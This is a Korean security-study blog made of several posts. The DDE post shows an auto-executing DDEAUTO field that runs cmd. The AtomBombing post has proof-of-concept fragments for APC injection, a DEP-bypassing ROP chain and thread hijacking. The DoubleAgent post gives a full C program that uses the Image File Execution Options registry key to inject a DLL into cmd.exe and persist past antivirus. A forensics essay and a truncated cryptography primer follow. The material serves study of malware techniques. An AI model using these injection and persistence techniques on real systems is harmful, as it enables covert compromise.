아래와 같이 "!수식의 끝이 잘못되었습니다" 라고 출력 될 것이다. 해당 부분을 마우스 우측으로 클릭 후 "필드 코드 토글" 을 클릭해보자. 그럼 아래와 같이 " = \"MERGEFORMAT" 이라는 필드 코드를 확인 할 수 있다.




Execute


수식 중 "DDEAUTO" 라는 Keyword 를 입력 할 수 있다. 이는 문서 실행 시 자동으로 뒤의 명령어를 실행 할 수 있게끔 한다. 예시로 아래와 같이 수식을 입력해보자.


DDEAUTO C:\\Windows\\System32\\cmd "/k calc.exe"



그리고 파일을 저장 후 다시 열어 볼 경우 아래와 같이 팝업 창이 뜨는 것을 확인 할 수 있다.




모두 예를 누를 경우 입력한 명령어가 실행되며 계산기가 나타나는 것을 확인 할 수 있다. 또한 필드 코드가 외부로 보이는 형태를 아래와 같이 변경 할 수 있기 때문에 사용자는 인지하지 못할 수 있다.





Conclusion


위 예시의 경우 간단하게 나타냈다. 하지만 실제 필드 코드를 계산기 실행이 아닌 Powershell 과 같은 것을 이용 할 경우 DDE 는 더욱 많은 곳에 악용 될 수 있다. MS 의 경우 이 기능은 정상적인 기능이며, 실행 여부를 묻는 화면이 출력되므로 충분히 사용자에게 경고가 될 것이라는 입장으로 알려진다. 


강력한 기능으로 보이지는 않더라도, 보안을 공부하는 사람의 입장으로서 최신 악성코드가 이와 같은 방법을 사용하고 있다는 것을 인지 할 필요는 있을 것이다.




Reference


- INCA Internet 공식 블로그 "워드 문서 DDE 취약점을 이용한 악성코드 유포 주의"  : http://erteam.nprotect.com/1422


'Reversing > Theory' 카테고리의 다른 글

Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23

Comment +0

Overview


AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.


전체적인 동작은 아래 흐름도와 같다.


1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode Atom Table 추가

2. 대상 프로세스가 Atom Table 로부터 ShellCode 가지고 오게 하도록 APC 사용

3. APC 통해 조작된 대상 프로세스는 ShellCode 가지고 DEP 후회를 위한 ROP Chain 사용



대상 프로세스에 개입하기 위해 주로 사용하는 API 아래와 같다.


NTSTAT NtQueueApcThread(

   _In_ HANDLE                   ThreadHandle,

   _In_ PIO_APC_ROUTINE      ApcRoutine,

   _In_ PVOID                      ApcRoutineContext OPTIONAL,

   _In_ PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,

   _In_ ULONG                     ApcReserved OPTIONAL

);

DWORD WINAPI QueueUserAPC(

   _In_ PAPCFUNC           pfnAPC,

   _In_ ULONG_PTR          hThread,

   _In_ ULONG_PTR          dwData

);


해당 API 가 사용되는 예는 아래와 같다.

// NtQueueApcThread

eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);

ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)

{

...

ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);

...

}

// QueueUserApcThread

eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)

{

...

dwErr = QueueUserAPC(pfnAPC, hThread, dwData);

...

}



Stage #1


악성 프로세스는 대상 프로세스에서 공격 스레드를 탐색한다. 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다.  Alertable 상태의 스레드는 아래와 같이 동작한다.

 

* APC Thread Queue 프로시저가 있는지 확인

* Queueing 프로시저가 있을 경우 해당 프로시저를 실행

* 프로시저를 완료   다시 Queueing 정보가 있는지 확인

* 과정을 반복



최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.


ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)

{

eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);

...

for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)

{

HANDLE hThread = phProcessThreadsHandles[dwIndex];

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);

if (ESTATUS_FAILED(eReturn))

continue;

}

...

DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);

...

hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

//If the thread is in an alertable state, keep it that way "forever".

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);

*phAlertableThread = hAlertableThread;

...

}



Stage #2


NtQueueApcThread 통해 대상 프로세스가 GlobalGetAtomName 호출했다고 가정하자. 하지만 이를 통해 가지고 Buffer DEP 인해 실행 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 다음과 같은 구조체로 나타낼 있다.


typedef struct _ROPCHAIN

{

// Return address of ntdll!ZwAllocateMemory

PVOID pvMemcpy;

 

// Params for ntdll!ZwAllocateMemory

HANDLE ZwAllocateMemoryhProcess;

PVOID ZwAllocateMemoryBaseAddress;

ULONG_PTR ZwAllocateMemoryZeroBits;

PSIZE_T ZwAllocateMemoryRegionSize;

ULONG ZwAllocateMemoryAllocationType;

ULONG ZwAllocateMemoryProtect;

 

// Return address of ntdll!memcpy

PVOID pvRetGadget;

 

// Params for ntdll!memcpy        

PVOID MemcpyDestination;

PVOID MemcpySource;

SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;



ROP Chain 구성은 아래와 같이 한다.


pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

 

ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)

{

ROPCHAIN tRopChain = { 0 };

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);

tRopChain.ZwAllocateMemoryZeroBits = NULL;

tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));

tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

tRopChain.MemcpyDestination = (PVOID)0x00;

tRopChain.MemcpySource = pvShellcodeLocation;

tRopChain.MemcpyLength = sizeof(SHELLCODE);

eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);

 

// Find a ret instruction in order to finally jump to the

// newly allocated executable shellcode.

eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

*ptRopChain = tRopChain;

}


구성 ROP Chain 예시는 아래와 같다.

[출처 - Reversenote]


ROP Chain 구성해주는 이유는 위에서 언급한 바와 같이 DEP 우회하기 위함이다. 우 ZwAllocateVirtualMemory() 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 ShellCode memcpy 사용하여 새로 할당한 메모리로 복사할 것이다


ROP Chain 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll Data 섹션 부분을 지정하고 있다.

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)

{

PIMAGE_SECTION_HEADER ptSectionHeader = NULL;

PVOID pvCodeCave = NULL;

HMODULE hNtDll = NULL;

 

hNtDll = GetModuleHandleA("kernelbase.dll");

eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);

 

pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);

*ppvCodeCave = pvCodeCave;

}

 

CoveCave 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 기록해준다.    




Stage #3


이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 이용하여 새로운 메모리로 Shellcode 복사한 실행할 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP ESP 지정해주는 것이다.

bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);

if (ESTATUS_FAILED(eReturn))

{

goto lblCleanup;

}

 

tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");

tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

 

printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");

eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);

 

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)

{

PKNORMAL_ROUTINE pfnSetThreadContext = NULL;

ESTATUS eReturn = ESTATUS_INVALID;

GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);

 

main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);

}


참고

SetThreadContext 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 굳이 넘겨주는 이유는 공격이 끝난 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 확인하자.

 

참고

SetThreadContext(hThread, lpContext) 사용 NtQueueApcThread 사용한다. 경우 전달 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 없다. 따라서 이에 대해서는 신경쓰지 않는다.


대상 스레드의 EIP ZwAllocateVirtualMemory   지정 , Stack ROP Chain 가리키도록 하면 아래와 같은 모습으로 나타낼 있다.


[출처 - Reversenote]



ZwAllocateVirtualMemory 호출한 Return 주소는 memcpy 것이다. 그리고 Stack 아래와 같이 "RETN 18" 인해 0x18 만큼 POP 된다.


위와 같이 진행된 EIP memcpy , Stack 아래와 같이 나타내어진다. 여기서 memcpy 첫번째 인자는 ZwAllocateVirtualMemory 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.

[출처 - Reversenote]


Memcpy 진행 EIP RET 가젯을 가리키고 있을 것이다. 결국 2번의 Return 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 곳으로 복사된 Shellcode 코드가 진행 것이다.

 

 

복사 Shellcode 실행 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.

pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);



Stage #4


공격자가 원하는 코드가 진행된 , 사용 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 있다강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 대해 알아야 한다.


정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 통해 Queueing APC 함수를 실행한다그리고 APC 함수를 완료한 기존에 EDI 담긴 CONTEXT NtContine 한다.


참고

여기서부터는 악성프로세스가 아닌 실행 Shellcode 에서 구현되어야 하는 부분이다.

 

하지만 NtQueueApcThread(...SetThreadContext…) 실행시키고자 하는 경우 그림의 CALL EAX 에서 Return 수는 없다. 하지만 만약 CALL EAX 하기 , EDI 저장된 CONTEXT 내용을 보존할 있다면, 이야기는 달라진다.

 

공격자는 EDI 담긴 CONTEXT 저장하기 위해, Shellcode 도입부에 아래와 같은 명령어를 사용한다.

 

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

}

 

하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 도입부까지 EDI 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 설정하는 것이다. CONTEXT_CONTROL flag 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 제외한 다른 값은 수정되지 않는다.


 

도입부에서 CONTEXT 저장한 원하는 동작을 수행한다. 그리고 동작을 끝낸 , 이전에 저장한 CONTEXT 가지고 와서 NtContinue 호출해주면, 원래 저장된 CONTEXT 내용을 실행하게 것이다.

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

}



Reference


Github, BreakingMalwareResearch : Atom-bombing

* https://github.com/BreakingMalwareResearch/atom-bombing

 

Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"

* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

 

Blog, Reversenote : "Atombombing - Stage 1 ~ 3"

* http://www.reversenote.info/atombombing-stage1/

 

MSDN, Windows API

* https://msdn.microsoft.com

 

Ntinternals, Undocumented : NTAPI

* https://undocumented.ntinternals.net/

 

Egloos, himskim : "APC 대하여" ; Alertable Thread 에 대해 쉽게 설명

* http://himskim.egloos.com/1053865

'Reversing > Theory' 카테고리의 다른 글

Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26

Comment +0


최근 Cybellum 에서는 대다수의 안티바이러스 제품에 적용되는 Zero-Day 취약점 "Double Agent" 를 발표. 해당 공격의 아래의 기능을 사용한 공격

* MS의 개발자 검증도구인 "Microsoft Application Verifier" 을 사용

* 본래 목적은 런타임 검증도구로 오류를 신속하게 감지 및 수정할 수 있는 용도로 사용

* Double Agent 공격의 경우 이를 통해 원하는 DLL 을 Injection


공격 가능 대상

* 모든 버전의 Windows (Windows XP to Windows 10)

* 모든 Windows architecture (x86 and x64)

* 모든 Windows 사용자 (SYSTEM/Admin/etc.)

* 모든 대상 프로세스 (OS/Anti-Virus/etc.)


코드 인젝션

* 원하는 DLL 을 어떠한 프로세스에도 인젝션 할 수 있게 함

* DLL 인젝션은 프로세스 실행 과정 중 빠른 순위로 이루어짐 (Kernel32.dll 이나 TLS 보다 먼저)

* 발표 시점 기준으로 대부분의 Anti-Virus 에도 공격이 가능


지속성

* 재부팅 뿐만 아니라 업데이트/패치/재설치 등에 대해서도 지속 가능한 공격 기법

* 해당 프로그램 재설치에 대해서도 지속 가능


공격 요소

* Anti-Virus 와 차세대 Anti-Virus 공격 : 모든 자체 보호 매커니즘을 우회하면서 코드를 인젝션하여 Anti-Virus 제어

* 지속형 악성코드 설치 : 악성코드가 살아남아 재부팅 시에도 자동으로 실행되도록 설치

* 권한 하이재킹 : 신뢰할 수 있는 프로세스의 권한을 하이재킹하여 신뢰할 수 있는 프로세스로 위장

* 프로세스 동작 조작 : 백도어 설치나 암호화 알고리즘 약화 등의 조작

* 다른 사용자/세션 공격 : 다른 사용자와 세션(SYSTEM/Admin/etc.) 프로세스에 코드를 인젝션


대상 지정

해당 공격은 지정된 FULL 경로에 해당하는 프로그램이 아닌, 프로그램의 이름만으로 대상을 공격 가능

* 대상 이름을 cmd.exe 로 해놓은 경우 C\cmd.exe 와 C;\Windows\System32\cmd.exe 둘 다 실행 시 인젝션이 진행

* 대상 이름의 프로세스가 실행 될 때마다 매번 인젝션이 진행




코드


아래와 같이 레지스트리를 등록해야 함

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &amp;dwGlobalFlag, sizeof(dwGlobalFlag)));


이때, 인젝션하고자 하는 DLL 이 다음의 경로에 위치 해야 함

C:\Windows\System32\[인젝션 할 DLL명].dll


레지스트리 경로와 값은 아래와 같다.

  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName

  VerifierDlls : Target.dll  , GlobalFlag : 0x100




공격


공격을 하기 위해 제작한 프로그램의 코드는 아래와 같다. 이때 Inject.dll 은 System32 에 존재해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <Windows.h>
#include <stdio.h>
 
int main()
{
    HKEY hKey;
    DWORD dwFlag = 0x100;
    LPCWSTR DllName = L"Inject.dll";
 
    /* Get Key Handle - target process name is cmd.exe */
    RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.exe",
        0NULL0, KEY_ALL_ACCESS, NULL&hKey,NULL);
 
    /* Set Registry */
    RegSetValueExW(
        hKey, L"VerifierDlls"0, REG_SZ, (LPBYTE)DllName, (lstrlenW(DllName) + 1* sizeof(WCHAR));    
    RegSetValueExW(
        hKey, L"GlobalFlag"0, REG_DWORD, (BYTE *)&dwFlag, sizeof(dwFlag));
        
    RegCloseKey(hKey);
    return 0;
}
cs


위 코드를 제작한 프로그램을 실행 후 대상 프로세스인 cmd.exe 를 실행하였다. 실행 결과 Inject.dll 이 인젝션 된 것을 확인할 수 있다. 한가지 자세히 볼 점은 notepad.exe (메모장) 의 이름도 cmd.exe 로 변경한 결과, 인젝션이 이루어진 것을 확인 할 수 있다. 이는 위에서 언급한바와 같이 대상 프로세스의 전체 경로가 아닌 프로세스 이름만 확인 후 공격이 이루어지기 때문이다.





참고자료


원본 자료에는 Anti-Virus 의 레지스트리 설정 보호 우회에 대해서도 나와있다. 궁금하면 해당 자료를 읽어보는 것을 추천한다.

* POC 코드 : https://github.com/Cybellum/DoubleAgent

* 원문 블로그 : https://cybellum.com/doubleagent-taking-full-control-antivirus/

* 상세 내용 : https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/

* 기타 참조 : http://kitrap08.blogspot.kr/2011/04/application-verifier.html


'Reversing > Theory' 카테고리의 다른 글

Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08

Comment +1

Pulling the Plug

Forensic/Theory2017. 3. 22. 22:56

서론

이번 포스팅에서 다루고자 하는 주제는 바로 "Pulling the Plug" 이다. 단어 그대로 연결되어 있는 플러그를 뽑는다는 것으로 주로 장치의 강제 종료를 의미한다. PC 나 핸드폰 등 강제로 전원이나 배터리를 분리하여 종료시킨적이 한번 쯤은 있을 것이다. 필자의 경우 핸드폰에 대해서는 잘 모르니 PC 에 한해서만 이야기 해보고자 한다. 그렇다면 이 강제 종료에 대해 무슨 생각을 할 수 있기에 포스팅까지 할까? 


사실 별거 없다. 당연히 PC 에 무리가 간다는 것쯤이야 모두가 알고있다. 하지만 약간의 악성코드와 포렌식 측면의 고려 사항을 추가하면 고민해볼 가치는 있다고 생각한다. 필자도 포렌식에 대해서는 얕은 지식만 가지고 있어 깊이 다루기는 어렵지만 알고 있는 지식에 한해 이 주제에 대해 이야기해보고자 한다. 개인적인 의견이 다분하며 전문적인 내용은 거의 없으므로 시간이 많이 남는 사람들에 한해 가볍게 읽기를 권한다.





본론

정상적인 PC 종료 과정

PC 의 정상적인 종료 과정에는 무엇이 있는지 먼저 알아보자. Windows PC 의 종료 과정은 부팅과정 비하여 훨씬 간소화 된 절차를 거친다. 종료는 주로 CSRSS (Client/Server Runtime Subsystem) 및 WinLogon, 이 두 가지 구성 요소로 처리 된다. 대략적인 순서에 대해 알아보자.


Windows 에서 시스템 종료 명령을 내리면 ExitWindowsEx 함수를 호출한다. 이 함수는 RPC(원격 프로시저 호출) 을 사용하여 CSRSS 에게 시스템 종료 메시지를 보낸다. CSRSS가 이 메시지를 받은 후, WinLogon 에도 다른 메시지를 보낸다. 메시지를 받은 WinLogon 은 ExitWindowsEx 함수를 호출한 것이 자기 자신이 아님을 확인한다. 확인 후 자신이 호출한 것이 아니라면 사용자를 대신해 WinLogon 이 한번 더 ExitWindowsEx 함수를 호출한다.


두 번째 호출로 인해 CSRSS 에는 또 다시 RPC 를 통해 종료 메시지가 전달된다. 하지만 이번엔 위와 다르게 WinLogon 에서 ExitWindowsEx 함수가 호출된 것임을 확인하고 종료를 승인한다. 종료가 승인되면 CSRSS 는 각 사용자의 Interactive 세션에서 실행되는 모든 프로세스를 종료하는 작업을 수행한다. CSRSS 가 Interactive 사용자 세션에서 실행되고 있는 모든 프로세스를 종료할 때가 되면, 실행 중인 프로세스들의 셧다운 레벨 역순으로 종료 순서를 지정한다.


CSRSS 가 유저 세션 프로세스를 모두 종료한 뒤, shutdown 이 발생하고 있음을 세션 0에서 실행 중인 시스템 프로세스에 알린다. 이제 WinLogon 이 NtShutdownSystem 함수를 호출하며 제어를 반환한다. 그 다음 PoSetSystemPowerState 를 호출하며 아래의 작업을 진행한다.


 * I/O 관리자는 shutdown IRP 를 등록 된 모든 장치 드라이버에 보낸다. 이를 통해 각 장치 드라이버는 종료하기 전에 필수적으로 해야 할 작업을 수행한다. 

 * 메모리 관리자는 수정 된 메모리 페이지를 파일 데이터와 함께 디스크에 다시 기록한다.

 * 구성 관리자는 레지스트리 변경 사항을 각각의 하이브 파일에 기록하도록 한다.

 * I/O 관리자는 모든 파일 시스템 드라이버에 종료를 알려 변경 된 데이터 저장 등의 동작을 수행하도록 한다.

 * 마지막으로, 전원 관리자는 시스템 전원을 끄므로 shutdown 과정을 완료한다.


위와 같은 과정을 통해 정상적인 PC 의 종료를 확인할 수 있다.



비정상적인 PC 종료 과정

그렇다면 정상적인 종료가 아닌 '비정상적인' PC 종료에 대하여 간략히 알아보자. 우선 비정상적인 종료의 경우 위와 같이 특정 신호(API 호출이나 IRP 등)를 전달할 수 없게 된다. 특히 제목과 같이 전원 플러그를 바로 뽑아버린다면 정상적인 과정에서 볼 수 있던 Flush 작업이 모두 진행되지 않는다. 이로 인해 손실되는 데이터는 당연히 존재하게 된다.


PC 의 전원이 갑자기 차단되면 기존에 동작하고 있던 하드 디스크 표면에 물리적인 손상 또한 생길 수가 있다. 반복적인 손상은 하드디스크에 배드섹터를 유발 할 수 있으며, 이는 기능적인 측면 뿐만 아니라 여러 측면에서 불편함을 가지고 올 수 있다. 또한 위에서 언급했던 바와 같이 각 드라이버와 장치들이 수행하던 작업 데이터의 기록이 이루어지지 않는다. 변경 사항이 저장되지 않는다면 드라이버 동작 간에 문제를 유발할 수 있다. 그리고 개인적인 생각에서 문제가 될 수 있는 것은 사후 분석을 위한 데이터 수집 중 휘발성 데이터가 문제가 된다는 것이다. 우선 아래 RFC 3227 에서 언급하는 휘발성 데이터 순서를 보자.


 1. registers, cache
 2. routing table, arp cache,process table, kernel staistics, memory
 3. temporary file sysem
 4. disk
 5. remote logging and monitoring data that is relevant to the system in question
 6. physical configuration, network topology
 7. archival media 


휘발성 데이터의 경우 비휘발성 데이터보다 데이터 수집이 빠르게 이루어져야 한다. 그렇지 않다면 휘발성 데이터는 모두 손실될 수 있기 때문이다. 중요한 데이터는 디스크에 저장되어 있으니깐 상관없지 않느냐라고 할 수 있지만 메모리, 레지스터 등등 휘발성 데이터에도 중요한 데이터는 존재하고 있다. 


가령, Fileless 형태의 악성코드가 네트워크 연결을 통해 악성 실행 데이터를 받아와 메모리에서만 동작한다고 가정해보자. 동작 중인 악성코드에 의해 이상 징후를 느낀 사용자가 갑작스레 PC 를 종료하면 메모리에 있던 악성코드에 대한 정보는 모두 손실된다. 결국 사용자는 추후에도 어떤 악성코드에 의해 감염된 것인지 알기 어려울 것이다. 


이처럼 PC 를 강제 종료하는 것을 추천하는 경우는 결코 많지 않을 것이다.



결론

본론을 통해 PC 의 정상적인 종료 과정과, 그렇지 않은 경우에 나타날 수 있는 상황에 대하여 알아보았다. 사실 본론은 매우 편파적으로 'PC 를 강제 종료하면 안된다.' 라는 입장으로 쓰였다. 이렇게 서술한 이유는 모두가 알다시피 일반적인 상황에서는 PC 를 강제종료하지 않아야 한다는 것을 알고 있기 때문이다.


하지만 PC 를 강제 종료 해야할까? 라는 고민이 들 순간들에 대하여 몇 가지 언급해보자.

* 랜섬웨어에 의해 사용자 파일이 암호화 되고 있다.

* 어떠한 악성코드에 의해 PC 에 이상 증상(팝업 창 출력 등)이 연속적으로 나타나고 있다.


이러한 상황을 맞이한다면 어떻게 해야할까? 우선 필자가 위 상황에 놓인 경우 두 가지 행동으로 상황을 마무리 할 것이다. 첫째, 실행 중인 프로세스 목록을 확인하여 의심되는 프로세스를 종료한다. 하지만 의심되는 프로세스가 보이지 않고 종료했다하더라도 다시 실행되어 동작하는 경우를 가정하자. 그렇다면 둘째로 바로 PC 를 강제종료 시킬 것이다. 이렇게 하므로 악성코드의 동작을 저지할 수 있다.


대부분의 사용자는 이와 유사한 행동을 취할 것이라 생각한다. 하지만 개인이 아닌 기업의 입장에서 생각해보면 이는 큰 위험이 될 수 있다. 우선 운영 중인 서버에 악성코드가 나타났다고 생각해보자(참고로 서버를 잠시 종료해도 상관없다고 가정하자). 서버의 경우 하나의 개인이 아닌 기업이 가진 자산이다. 첫 번째 상황의 경우 랜섬웨어가 확실하다면 서버를 강제 종료해도 괜찮을 것이다. 하지만 두 번째 상황에 놓인 경우 역시 강제 종료하려 한다면 큰 리스크를 갖게 된다.

어떠한 악성코드인지 모르는 상황에서 섣불리 강제 종료해버린다면 그 증거들을 놓칠 수 있기 때문이다. 하지만 강제 종료하지 않는다면 서버 장치에서 어떠한 동작이 추가적으로 일어날지 모른다. 혹여나 악성코드에 대한 증거를 놓치면 그에 따른 치료 방향 또한 잡기 어려워지며, 이는 서버 장치 운영에 무리가 될 수 있다. 과연 어떠한 선택을 해야 할까.


사실 정답은 없다. 단지 어떠한 면을 우선으로 하느냐에 따라 강제종료 할 수도 있고, 하지 않을 수도 있다. 선택하는 사람의 몫인 것이다. 하지만 이러한 상황을 맞이하게 된다면 어떻게 행동해야 할지 한번 쯤 생각해보는 것도 나쁘지 않을까 생각한다.




참고자료

* OverClock, "Windows: The startup and shutdown process", http://www.overclock.net/t/1453560/windows-the-startup-and-shutdown-process

* faqs, "RFC 3227 - Guidelines for Evidence Collection and Archiving", http://www.faqs.org/rfcs/rfc3227.html#b

'Forensic > Theory' 카테고리의 다른 글

Pulling the Plug  (0) 2017.03.22
Unicode 확장자 변조(RLO)  (3) 2016.05.15
Windows Event Log (2) – 주요 이벤트 로그  (0) 2016.02.01
Windows Event Log (1) – 이벤트 로그의 개념  (2) 2016.02.01
Volume Shadow Copy 분석  (1) 2016.01.18
NTFS FIle System (9) $UsnJrnl  (0) 2016.01.16

Comment +0

 개요

최근 끊임 없이 랜섬웨어로 인한 피해가 지속적으로 나타나며 랜섬웨어는 더 이상 악성코드와 관련 있는 사람들만의 관심사가 아니다. 랜섬웨어로 인한 피해를 일반 사용자뿐만 아니라 기업 등에서도 나타나고 있어 주의가 필요하다. 본 문서에서는 랜섬웨어를 이해하기 위한 기초 지식인 암호학에 대하여 개략적으로 다루고자 한다. 암호학에 대해 하나도 모르는 필자로서 쓴 글이기에 깊은 내용보다는 쉽게 이해하는 것을 목표로 할 것이다.

 

암호학

암호학은 정보를 보호하기 위한 언어학적 및 수학적 방법론을 다루는 학문으로 수학을 중심으로 컴퓨터, 통신 등 여러 학문 분야에서 공동으로 연구, 개발되고 있다. 암호학은 쉽게 평문 메시지를 변환하여 암호문을 만드는 암호화 과정과, 반대로 암호문을 다시 평문으로 변환하는 복호화 과정에 대한 연구이다. 암호학을 통해 제공하고자 하는 목표에는 다음과 같은 것이 있다.

기밀성

무결성

가용성

부인 봉쇄


대칭키

